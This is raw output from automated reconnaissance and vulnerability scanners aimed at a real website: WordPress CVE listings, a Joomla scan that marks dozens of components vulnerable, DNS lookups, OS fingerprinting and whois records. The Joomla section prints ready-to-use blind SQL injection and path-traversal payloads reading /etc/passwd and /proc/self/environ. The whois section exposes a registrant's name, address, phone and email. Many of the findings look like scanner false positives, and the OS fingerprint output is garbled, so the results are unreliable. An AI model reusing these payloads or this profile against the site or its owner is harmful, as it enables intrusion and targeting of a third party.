 |  Reference: https://github.com/WordPress/WordPress/commit/263831a72d08556bc2f3a328673d95301a152829
 |  Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_press_this_function_allows_dos.html
 |  Reference: http://seclists.org/oss-sec/2017/q1/562
 |  Reference: https://hackerone.com/reports/153093
 |  Fixed in: 4.5.7
 |  Title: WordPress 2.3-4.8.3 - Host Header Injection in Password Reset
 |  Reference: https://exploitbox.io/vuln/WordPress-Exploit-4-7-Unauth-Password-Reset-0day-CVE-2017-8295.html
 |  Reference: http://blog.dewhurstsecurity.com/2017/05/04/exploitbox-wordpress-security-advisories.html
 |  Reference: https://core.trac.wordpress.org/ticket/25239
 |  Fixed in: None
 |  Title: WordPress 2.7.0-4.7.4 - Insufficient Redirect Validation
 |  Reference: https://github.com/WordPress/WordPress/commit/76d77e927bb4d0f87c7262a50e28d84e01fd2b11
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Fixed in: 4.5.9
 |  Title: WordPress 2.5.0-4.7.4 - Post Meta Data Values Improper Handling in XML-RPC
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Reference: https://github.com/WordPress/WordPress/commit/3d95e3ae816f4d7c638f40d3e936a4be19724381
 |  Fixed in: 4.5.9
 |  Title: WordPress 3.4.0-4.7.4 - XML-RPC Post Meta Data Lack of Capability Checks
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Reference: https://github.com/WordPress/WordPress/commit/e88a48a066ab2200ce3091b131d43e2fab2460a4
 |  Fixed in: 4.5.9
 |  Title: WordPress 2.5.0-4.7.4 - Filesystem Credentials Dialog CSRF
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Reference: https://github.com/WordPress/WordPress/commit/38347d7c580be4cdd8476e4bbc653d5c79ed9b67
 |  Reference: https://sumofpwn.nl/advisory/2016/cross_site_request_forgery_in_wordpress_connection_information.html
 |  Fixed in: 4.5.9
 |  Title: WordPress 3.3-4.7.4 - Large File Upload Error XSS
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Reference: https://github.com/WordPress/WordPress/commit/8c7ea71edbbffca5d9766b7bea7c7f3722ffafa6
 |  Reference: https://hackerone.com/reports/203515
 |  Reference: https://hackerone.com/reports/203515
 |  Fixed in: 4.5.9
 |  Title: WordPress 3.4.0-4.7.4 - Customizer XSS & CSRF
 |  Reference: https://wordpress.org/news/2017/05/wordpress-4-7-5/
 |  Reference: https://github.com/WordPress/WordPress/commit/3d10fef22d788f29aed745b0f5ff6f6baea69af3
 |  Fixed in: 4.5.9
 |  Title: WordPress 2.3.0-4.8.1 - $wpdb->prepare() potential SQL Injection
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
 |  Reference: https://github.com/WordPress/WordPress/commit/fc930d3daed1c3acef010d04acc2c5de93cd18ec
 |  Fixed in: 4.5.10
 |  Title: WordPress 2.3.0-4.7.4 - Authenticated SQL injection
 |  Reference: https://medium.com/websec/wordpress-sqli-bbb2afcc8e94
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/70b21279098fc973eae803693c0705a548128e48
 |  Reference: https://wpvulndb.com/vulnerabilities/8905
 |  Fixed in: 4.7.5
 |  Title: WordPress 2.9.2-4.8.1 - Open Redirect
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://core.trac.wordpress.org/changeset/41398
 |  Fixed in: 4.5.10
 |  Title: WordPress 3.0-4.8.1 - Path Traversal in Unzipping
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://core.trac.wordpress.org/changeset/41457
 |  Fixed in: 4.5.10
 |  Title: WordPress 4.4-4.8.1 - Cross-Site Scripting (XSS) in oEmbed
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://core.trac.wordpress.org/changeset/41448
 |  Fixed in: 4.5.10
 |  Title: WordPress 4.2.3-4.8.1 - Authenticated Cross-Site Scripting (XSS) in Visual Editor
 |  Reference: https://wordpress.org/news/2017/09/wordpress-4-8-2-security-and-maintenance-release/
 |  Reference: https://core.trac.wordpress.org/changeset/41395
 |  Reference: https://blog.sucuri.net/2017/09/stored-cross-site-scripting-vulnerability-in-wordpress-4-8-1.html
 |  Fixed in: 4.5.10
 |  Title: WordPress <= 4.8.2 - $wpdb->prepare() Weakness
 |  Reference: https://wordpress.org/news/2017/10/wordpress-4-8-3-security-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/a2693fd8602e3263b5925b9d799ddd577202167d
 |  Reference: https://twitter.com/ircmaxell/status/923662170092638208
 |  Reference: https://blog.ircmaxell.com/2017/10/disclosure-wordpress-wpdb-sql-injection-technical.html
 |  Fixed in: 4.5.11
 |  Title: WordPress 2.8.6-4.9 - Authenticated JavaScript File Upload
 |  Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/67d03a98c2cae5f41843c897f206adde299b0509
 |  Fixed in: 4.5.12
 |  Title: WordPress 1.5.0-4.9 - RSS and Atom Feed Escaping
 |  Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/f1de7e42df29395c3314bf85bff3d1f4f90541de
 |  Fixed in: 4.5.12
 |  Title: WordPress 4.3.0-4.9 - HTML Language Attribute Escaping
 |  Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/3713ac5ebc90fb2011e98dfd691420f43da6c09a
 |  Fixed in: 4.5.12
 |  Title: WordPress 3.7-4.9 - 'newbloguser' Key Weak Hashing
 |  Reference: https://wordpress.org/news/2017/11/wordpress-4-9-1-security-and-maintenance-release/
 |  Reference: https://github.com/WordPress/WordPress/commit/eaf1cfdc1fe0bdffabd8d879c591b864d833326c
 |  Fixed in: 4.5.12


[*] Passive enumerate themes..
[+] Name: blue-summit-wp-bootstrap
 |  Theme Name: Flybox
 |  Style: https://www.flybox.co.il/wp-content/themes/blue-summit-wp-bootstrap/style.css

[*] Passive enumerate plugins..
[+] Name: popup-builder';SG_POPUP_VERSION='2.31_1'<
[+] Name: accordions
 |  Readme: https://www.flybox.co.il/wp-content/plugins/accordions/readme.txt
Target: http://flybox.co.il

Server: cloudflare
X-Powered-By: PHP/7.0.13


## Checking if the target has deployed an Anti-Scanner measure

[!] Scanning Passed ..... OK


## Detecting Joomla! based Firewall ...

[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.

[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.

[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.

[!] A security scanner (com_securityscanner/com_securityscan) is detected.

[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)

[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.

[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.


## Fingerprinting in progress ...

~Unable to detect the version. Is it sure a Joomla?

## Fingerprinting done.




Vulnerabilities Discovered
==========================

# 1
Info -> Generic: htaccess.txt has not been renamed.
Versions Affected: Any
Check: /htaccess.txt
Exploit: Generic defenses implemented in .htaccess are not available, so exploiting is more likely to succeed.
Vulnerable? Yes

# 39
Info -> CoreComponent: com_banners Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_banners/
Exploit: /index.php?option=com_banners&task=archivesection&id=0'+and+'1'='1::/index.php?option=com_banners&task=archivesection&id=0'+and+'1'='2
Vulnerable? Yes

# 123
Info -> Component: custompages Remote File Inclusion Vulnerability
Versions Affected: 1.1 <=
Check: /components/com_custompages/
Exploit: /index.php?option=com_custompages&cpage=
Vulnerable? Yes

# 207
Info -> Component: com_mycontent Blind SQL Injection Vulnerability
Version Affected: N/A
Check: /components/com_mycontent/
Exploit: /index.php?option=com_mycontent&task=view&id=1+and+1=1::/index.php?option=com_mycontent&task=view&id=1+and+1=2
Vulnerable? Yes

# 208
Info -> Component: Joo!BB Blind SQL Injection Vulnerability
Version Affected: 0.5.9 or lower
Check: /components/com_joobb/
Exploit: /index.php?option=com_joobb&view=forum&forum=1+and+1=1::/index.php?option=com_joobb&view=forum&forum=1+and+1=2
Vulnerable? Yes

# 209
Info -> Component: acctexp Blind SQL Injection Vulnerability
Version Affected: <= 0.12
Check: /components/com_acctexp/
Exploit: /index.php?option=com_acctexp&task=subscribe&usage=1+and+1=1::/index.php?option=com_acctexp&task=subscribe&usage=1+and+1=2
Vulnerable? Yes

# 213
Info -> Component: JooBlog Blind SQL Injection Vulnerability
Version Affected: 0.1.1<=
Check: /components/com_jb2/
Exploit: /index.php?option=com_jb2&view=category&CategoryID=1+and+1=1::/index.php?option=com_jb2&view=category&CategoryID=1+and+1=2
Vulnerable? Yes

# 214
Info -> Component: jotloader Blind SQL Injection Vulnerability
Version Affected: 1.2.1.a<=
Check: /components/com_jotloader/
Exploit: /index.php?option=com_jotloader&cid=1+and+1=1::/index.php?option=com_jotloader&cid=1+and+1=2
Vulnerable? Yes

# 220
Info -> Component: News Portal Blind SQL Injection Vulnerability
Version Affected: 1.0 <=
Check: /components/com_news_portal/
Exploit: /index.php?option=com_news_portal&Itemid=1+and+1=1::/index.php?option=com_news_portal&Itemid=1+and+1=2
Vulnerable? Yes

# 232
Info -> Component: com_ezstore Blind SQL Injection Vulnerability
Version Affected: N/A
Check: /components/com_ezstore/
Exploit: /index.php?option=com_ezstore&Itemid=1&func=detail&id=1+and+1=1::/index.php?option=com_ezstore&Itemid=1&func=detail&id=1+and+1=2
Vulnerable? Yes

# 243
Info -> Component: Archaic Binary Gallery Directory Traversal Vulnerability
Version Affected: 1.0<=
Check: /components/com_ab_gallery/
Exploit: /index.php?option=com_ab_gallery&Itemid=37&gallery=_NOT_EXIST
Vulnerable? Yes


# 248
Info -> Component: ProDesk (com_pro_desk) Local File Inclusion Vulnerability
Version Affected: 1.2<=
Check: /components/com_pro_desk/
Exploit: /index.php?option=com_pro_desk&include_file=
Vulnerable? Yes

# 264
Info -> Component: Com Profiler Blind SQL Injection	Vulnerability
Versions effected: 1.0 RC2 and older
Check: /administrator/components/com_comprofiler/
Exploit: /index.php?option=com_comprofiler&task=userProfile&user=1+and+1=1::/index.php?option=com_comprofiler&task=userProfile&user=1+and+1=2
Vulnerable? Yes


# 302
Info -> Component: com_ijoomla_archive (catid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_ijoomla_archive/
Exploit: /index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&catid=1+and+1=1::/index.php?option=com_ijoomla_archive&task=archive&search_archive=1&act=search&catid=1+and+1=2
Vulnerable? Yes


# 339
Info -> Component: com_letterman Remote File Inclusion Vulnerability
Versions effected: N/A
Check: /components/com_letterman/
Exploit: /index.php?option=com_letterman&task=view&Itemid=&mosConfig_absolute_path=
Vulnerable? Yes

# 345
Info -> Component: com_hbssearch Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_hbssearch/
Exploit: /index.php?option=com_hbssearch&task=showhoteldetails&id=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54&r_type=1+and+1=1::/index.php?option=com_hbssearch&task=showhoteldetails&id=4&chkin=2008-08-15&chkout=2008-08-18&datedif=3&str_day=Fri&end_day=Mon&start_day=&star=&child1=0&adult1=1&Itemid=54&r_type=1+and+1=2
Vulnerable? Yes


# 348
Info -> Component: com_lowcosthotels (id) Blind SQL Injection Vulnerability
Versions Affect: N/A
Check: /components/com_lowcosthotels/
Exploit: /index.php?option=com_lowcosthotels&task=showhoteldetails&id=1+and%201=1::/index.php?option=com_lowcosthotels&task=showhoteldetails&id=1+and%201=2
Vulnerable? Yes

# 349
Info -> Component: com_allhotels (id) Blind SQL Injection Vulnerability
Versions Affect: N/A
Check: /components/com_allhotels/
Exploit: /index.php?option=com_allhotels&task=showhoteldetails&id=1+and%201=1::/index.php?option=com_allhotels&task=showhoteldetails&id=1+and%201=2
Vulnerable? Yes

# 350
Info -> Component: com_ice(catid) Blind SQL Injection Vulnerability
Versions Affected: N/A
Check: /components/com_ice/
Exploit: /index.php?option=com_ice&catid=1 and 1=1::/index.php?option=com_ice&catid=1 and 1=2
Vulnerable? Yes


# 355
Info -> Component: com_na_content Blind SQL Injection Vulnerability
Versions effected: v 1.0 <=
Check: /components/com_na_content/
Exploit: /index.php?option=com_na_content&task=view&id=1+and+1=1::/index.php?option=com_na_content&task=view&id=1+and+1=2
Vulnerable? Yes

# 375
Info -> Component: PC CookBook Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_pccookbook/
Exploit: /index.php?option=com_pccookbook&page=viewrecipe&recipe_id=1+and+1=1::/index.php?option=com_pcchess&Itemid=84&page=showgame&game_id=1+and+1=2
Vulnerable? Yes

# 376
Info -> Component: com_waticketsystem Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_waticketsystem/
Exploit: /index.php?option=com_waticketsystem&act=category&catid=1+and+1=1::/index.php?option=com_waticketsystem&act=category&catid=1+and+1=2
Vulnerable? Yes

# 379
Info -> Component: com_rss DOS Vulnerability
Versions effected: Joomla! <= 1.0.7
Check: /components/com_rss/
Exploit: /index2.php?option=com_rss&feed=test
Vulnerable? Yes


# 388
Info -> Component: Seminar com_seminar Blind SQL Injection Vulnerability
Versions effected: 2.0.4 <=
Check: /components/com_seminar/
Exploit: /index.php?option=com_seminar&task=View_seminar&id=1+and+1=1::index.php?option=com_seminar&task=View_seminar&id=1+and+1=2
Vulnerable? Yes

# 389
Info -> Component: Omilen Photo Gallery Local File Inclusion Vulnerability
Versions effected: 0.5b <=
Check: /components/com_omphotogallery/
Exploit: /index.php?option=com_omphotogallery&controller=
Vulnerable? Yes

# 403
Info -> Component: com_projectfork Local File Inclusion Vulnerability
Versions effected: 2.0.10 <=
Check: /components/com_projectfork/
Exploit: /index.php?option=com_projectfork&section=
Vulnerable? Yes


# 437
Info -> Component: com_clickheat Remote File Inclusion Vulnerability
Versions effected: N/A
Check: /components/com_clickheat/
Exploit: /index.php?option=com_ clickheat&task=
Vulnerable? Yes


# 454
Info -> Component: Almond Classifieds com_aclassf (id) Blind SQL Injection Vulnerability
Versions effected: 5.6.2 <=
Check: /components/com_aclassf/
Exploit: /index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=1+and+1=1::/index.php?option=com_aclassf&Itemid=26&ct=merch5&md=details&id=1+and+1=2
Vulnerable? Yes

# 455
Info -> Component: Almond Classifieds com_aclassf (replid) Blind SQL Injection Vulnerability
Versions effected: 7.5 <=
Check: /components/com_aclassf/
Exploit: /index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=1+and+1=1::/index.php?option=com_aclassf&Itemid=53&ct=manw_repl&md=add_form&replid=1+and+1=2
Vulnerable? Yes

# 459
Info -> Component: Kunena Forums com_kunena (func) Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_kunena/
Exploit: /index.php?option=com_kunena&Itemid=-3&func=1+and+1=1::/index.php?option=com_kunena&Itemid=-3&func=1+and+1=2
Vulnerable? Yes

# 460
Info -> Component: com_misterestate Blind SQL Injection Vulnerability
Versions effected: N/A
Check: /components/com_misterestate/
Exploit: /index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component&src_cat=0&country=no&state=no&town=no&district=no&mesearch=Start+Search&searchstring=1%'+and+1=1::/index.php?option=com_misterestate&act=mesearch&task=showMESR&tmpl=component&src_cat=0&country=no&state=no&town=no&district=no&mesearch=Start+Search&searchstring=1%'+and+1=2
Vulnerable? Yes


# 468
Info -> Component: JE Guestbook 1.0 Joomla Component Multiple Remote Vulnerabilities: Local File Inclusion
Versions Affected: 1.0
Check: /index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_jeguestbook&view=../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 475
Info -> Component: JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
Versions Affected: 1.0 Alpha 3
Check: /index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_jphone&controller../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 476
Info -> Component: JPhone 1.0 Alpha 3 Component Joomla Local File Inclusion
Versions Affected: 1.0 Alpha 3
Check: /index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
Exploit: /index.php?option=com_jphone&controller../../../../../../../../../../proc/self/environ%00
Vulnerable? Yes

# 494
Info -> Component: Jgrid Local File Inclusion
Versions Affected: 1.0
Check: /index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_jgrid&controller=../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 523
Info -> Component: Joomla Component Seyret (com_seyret) - Local File Inclusion Vulnerability
Versions Affected: Any
Check: /index.php?option=com_seyret&view=
Exploit: /index.php?option=com_seyret&view=
Vulnerable? Yes

# 525
Info -> Component: Joomla Component (com_obSuggest) Local File Inclusion Vulnerability
Versions Affected: Any
Check: /index.php?option=com_obsuggest&controller=
Exploit: /index.php?option=com_obsuggest&controller=
Vulnerable? Yes

# 528
Info -> Component: Joomla Component Matamko Local File Inclusion Vulnerability
Versions Affected: Any
Check: /index.php?option=com_matamko&controller=
Exploit: /index.php?option=com_matamko&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 534
Info -> Component: Joomla Component (com_jimtawl) Local File Inclusion Vulnerability
Versions Affected: Any
Check: /index.php?option=com_jimtawl&Itemid=12&task=
Exploit: /index.php?option=com_jimtawl&Itemid=12&task=../../../../../../../../../../../../../../../proc/self/environ%00
Vulnerable? Yes

# 537
Info -> Component: Joomla Component (com_connect) Local File Inclusion Vulnerability
Versions Affected: Any
Check: /index.php?option=com_connect&view=connect&controller=
Exploit: /index.php?option=com_connect&view=connect&controller=../../../CREDITS.php%00
Vulnerable? Yes

# 538
Info -> Component: Joomla com_quran SQL Injection vulnerability
Versions Affected: Any
Check: /component/quran/index.php?option=com_quran&action=viewayat&surano=
Exploit: /component/quran/index.php?option=com_quran&action=viewayat&surano=
Vulnerable? No

# 544
Info -> Component: YJ Contact us - Enhanced Joomla Contact Form Local File Inclusion
Versions Affected: "Any"
Check: /index.php?option=com_yjcontactus&view=
Exploit: /index.php?option=com_yjcontactus&view=../../../../../../../../../../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 546
Info -> Component: JoomTouch Local File Inclusion
Versions Affected: 1.0.2
Check: /index.php?option=com_joomtouch&controller=
Exploit: /index.php?option=com_joomtouch&controller=../../../../../../../../../../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 551
Info -> Component: Joomla Component FDione Form Wizard Local File Inclusion
Versions Affected: 1.0.2 <=
Check: /index.php?option=com_dioneformwizard&controller=[LFI]%00
Exploit: /index.php?option=com_dioneformwizard&controller=[LFI]%00
Vulnerable? Yes

# 553
Info -> Component: Component advertising Local File Inclusion
Versions Affected: 2.0 <=
Check: /index.php?option=com_aardvertiser&cat_name=conf&task=<=
Exploit: /index.php?option=com_aardvertiser&cat_name=conf&task=
Vulnerable? Yes

# 554
Info -> Component: Component advertising Local File Inclusion
Versions Affected: 2.0 <=
Check: /index.php?option=com_aardvertiser&task=
Exploit: /index.php?option=com_aardvertiser&task=
Vulnerable? Yes


# 556
Info -> Component: Custom PHP Pages Component Local File Inclusion
Versions Affected: Any <=
Check: /index.php?option=com_php&file=../images/phplogo.jpg
Exploit: /index.php?option=com_php&file=../images/phplogo.jpg
Vulnerable? Yes

# 557
Info -> Component: Custom PHP Pages Component Local File Inclusion
Versions Affected: Any <=
Check: /index.php?option=com_php&file=../js/ie_pngfix.js
Exploit: /index.php?option=com_php&file=../js/ie_pngfix.js
Vulnerable? Yes

# 558
Info -> Component: Custom PHP Pages Component Local File Inclusion
Versions Affected: Any <=
Check: /index.php?option=com_php&file=../../../../../../../../../../etc/passwd
Exploit: /index.php?option=com_php&file=../../../../../../../../../../etc/passwd
Vulnerable? Yes


# 568
Info -> Component: SmartSite Local File Inclusion
Versions Affected: Any <=
Check: /index.php?option=com_smartsite&controller=
Exploit: /index.php?option=com_smartsite&controller=
Vulnerable? Yes

# 569
Info -> Component: NoticeBoard Local File Inclusion
Versions Affected: 1.3<=
Check: /index.php?option=com_noticeboard&controller=
Exploit: /index.php?option=com_noticeboard&controller=
Vulnerable? Yes

# 570
Info -> Component: Ultimate Portfolio Local File Inclusion
Versions Affected: 1.0<=
Check: /index.php?option=com_ultimateportfolio&controller=
Exploit: /index.php?option=com_ultimateportfolio&controller=
Vulnerable? Yes

# 590
Info -> Component: Joomla Component BeeHeard Lite com_beeheard Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_beeheard&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 591
Info -> Component: Joomla Component Deluxe Blog Factory com_blogfactory Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_blogfactory&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 592
Info -> Component: Joomla Component Delicious Bookmarks com_delicious Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_delicious&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 593
Info -> Component: Joomla Component JA Comment com_jacomment Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_jacomment&view=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 594
Info -> Component: Joomla Component Love Factory com_lovefactory Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_lovefactory&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 595
Info -> Component: Joomla com_worldrates Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_worldrates&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 596
Info -> Component: Joomla com_record Local File Inclusion Vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_record&controller=../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 597
Info -> Component: Joomla Component JA Voice com_javoice Local File Inclusion vulnerability
Versions Affected: Any <=
Check: /index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_javoice&view=../../../../../../../../../../../../../../../etc/passwd%00
Vulnerable? Yes

# 598
Info -> Component: Joomla Component com_pcchess Local File Inclusion
Versions Affected: Any <=
Check: /index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
Exploit: /index.php?option=com_pcchess&controller=../../../../../../../../../../../../../etc/passwd%00
Vulnerable? Yes
[92m + -- ----------------------------=[Running Nslookup]=------------------------ -- +
Server:		192.168.1.254
Address:	192.168.1.254#53

Non-authoritative answer:
Name:	flybox.co.il
Address: 104.31.75.239
Name:	flybox.co.il
Address: 104.31.74.239
Name:	flybox.co.il
Address: 2400:cb00:2048:1::681f:4bef
Name:	flybox.co.il
Address: 2400:cb00:2048:1::681f:4aef

flybox.co.il has address 104.31.74.239
flybox.co.il has address 104.31.75.239
flybox.co.il has IPv6 address 2400:cb00:2048:1::681f:4aef
flybox.co.il has IPv6 address 2400:cb00:2048:1::681f:4bef
flybox.co.il mail is handled by 75 alt2.aspmx.l.google.com.
flybox.co.il mail is handled by 125 aspmx3.googlemail.com.
flybox.co.il mail is handled by 50 alt1.aspmx.l.google.com.
flybox.co.il mail is handled by 0 aspmx.l.google.com.
flybox.co.il mail is handled by 100 aspmx2.googlemail.com.
 + -- ----------------------------=[Checking OS Fingerprint]=----------------- -- +

Xprobe2 v.0.3 Copyright (c) 2002-2005 fyodor@o0o.nu, ofir@sys-security.com, meder@o0o.nu

[+] Target is flybox.co.il
[+] Loading modules.
[+] Following modules are loaded:
[x] [1] ping:icmp_ping  -  ICMP echo discovery module
[x] [2] ping:tcp_ping  -  TCP-based ping discovery module
[x] [3] ping:udp_ping  -  UDP-based ping discovery module
[x] [4] infogather:ttl_calc  -  TCP and UDP based TTL distance calculation
[x] [5] infogather:portscan  -  TCP and UDP PortScanner
[x] [6] fingerprint:icmp_echo  -  ICMP Echo request fingerprinting module
[x] [7] fingerprint:icmp_tstamp  -  ICMP Timestamp request fingerprinting module
[x] [8] fingerprint:icmp_amask  -  ICMP Address mask request fingerprinting module
[x] [9] fingerprint:icmp_port_unreach  -  ICMP port unreachable fingerprinting module
[x] [10] fingerprint:tcp_hshake  -  TCP Handshake fingerprinting module
[x] [11] fingerprint:tcp_rst  -  TCP RST fingerprinting module
[x] [12] fingerprint:smb  -  SMB fingerprinting module
[x] [13] fingerprint:snmp  -  SNMPv2c fingerprinting module
[+] 13 modules registered
[+] Initializing scan engine
[+] Running scan engine
[-] ping:tcp_ping module: no closed/open TCP ports known on 104.31.75.239. Module test failed
[-] ping:udp_ping module: no closed/open UDP ports known on 104.31.75.239. Module test failed
[-] No distance calculation. 104.31.75.239 appears to be dead or no ports known
[+] Host: 104.31.75.239 is up (Guess probability: 50%)
[+] Target: 104.31.75.239 is alive. Round-Trip Time: 0.49955 sec
[+] Selected safe Round-Trip Time value is: 0.99909 sec
[-] fingerprint:tcp_hshake Module execution aborted (no open TCP ports known)
[-] fingerprint:smb need either TCP port 139 or 445 to run
[+] Primary guess:
[+] Host 104.31.75.239 Running OS: »ÎlU (Guess probability: 100%)
[+] Other guesses:
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS: »ÎlU (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS: »ÎlU (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Host 104.31.75.239 Running OS:  (Guess probability: 100%)
[+] Cleaning up scan engine
[+] Modules deinitialized
[+] Execution completed.
 + -- ----------------------------=[Gathering Whois Info]=-------------------- -- +

% The data in the WHOIS database of the .il registry is provided
% by ISOC-IL for information purposes, and to assist persons in
% obtaining information about or related to a domain name
% registration record. ISOC-IL does not guarantee its accuracy.
% By submitting a WHOIS query, you agree that you will use this
% Data only for lawful purposes and that, under no circumstances
% will you use this Data to: (1) allow, enable, or otherwise
% support the transmission of mass unsolicited, commercial
% advertising or solicitations via e-mail (spam);
% or  (2) enable high volume, automated, electronic processes that
% apply to ISOC-IL (or its systems).
% ISOC-IL reserves the right to modify these terms at any time.
% By submitting this query, you agree to abide by this policy.

query:        flybox.co.il

reg-name:     flybox
domain:       flybox.co.il

descr:        Ofer Bar
descr:        Kibutz Hulda
descr:        Kibutz Hulda
descr:        11111
descr:        Israel
phone:        +972 54 3035371
fax-no:       +972 9 9574370
admin-c:      IS-OB5539-IL
tech-c:       IS-ID1078-IL
zone-c:       IS-ID1078-IL
nserver:      athena.ns.cloudflare.com
nserver:      vin.ns.cloudflare.com
validity:     04-09-2019
DNSSEC:       unsigned
status:       Transfer Locked
changed:      domain-registrar AT isoc.org.il 20130904 (Assigned)
changed:      domain-registrar AT isoc.org.il 20161012 (Changed)

person:       Ofer Bar
address:      Ofer Bar
address:      Kibutz Hulda
address:      Kibutz Hulda
address:      11111
address:      Israel
phone:        +972 54 3035371
fax-no:       +972 9 9574370
e-mail:       tsahye AT gmail.com
nic-hdl:      IS-OB5539-IL
changed:      domain-registrar AT isoc.org.il 20130904
changed:      Managing Registrar 20150805

person:       Interspace Domreg
address:      Interspace Ltd.
address:      P.O.Box 8723
address:      Netanya
address:      42505
address:      Israel
phone:        +972 73 2224444
fax-no:       +972 73 2224440
e-mail:       domreg AT interspace.net
nic-hdl:      IS-ID1078-IL
changed:      Managing Registrar 20070110
changed:      Managing Registrar 20070319
changed:      Managing Registrar 20070909
changed:      Managing Registrar 20090514
changed:      Managing Registrar 20110720
changed:      Managing Registrar 20110720
changed:      Managing Registrar 20110721
changed:      Managing Registrar 20111128
changed:      Managing Registrar 20111128
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
changed:      Managing Registrar 20130924
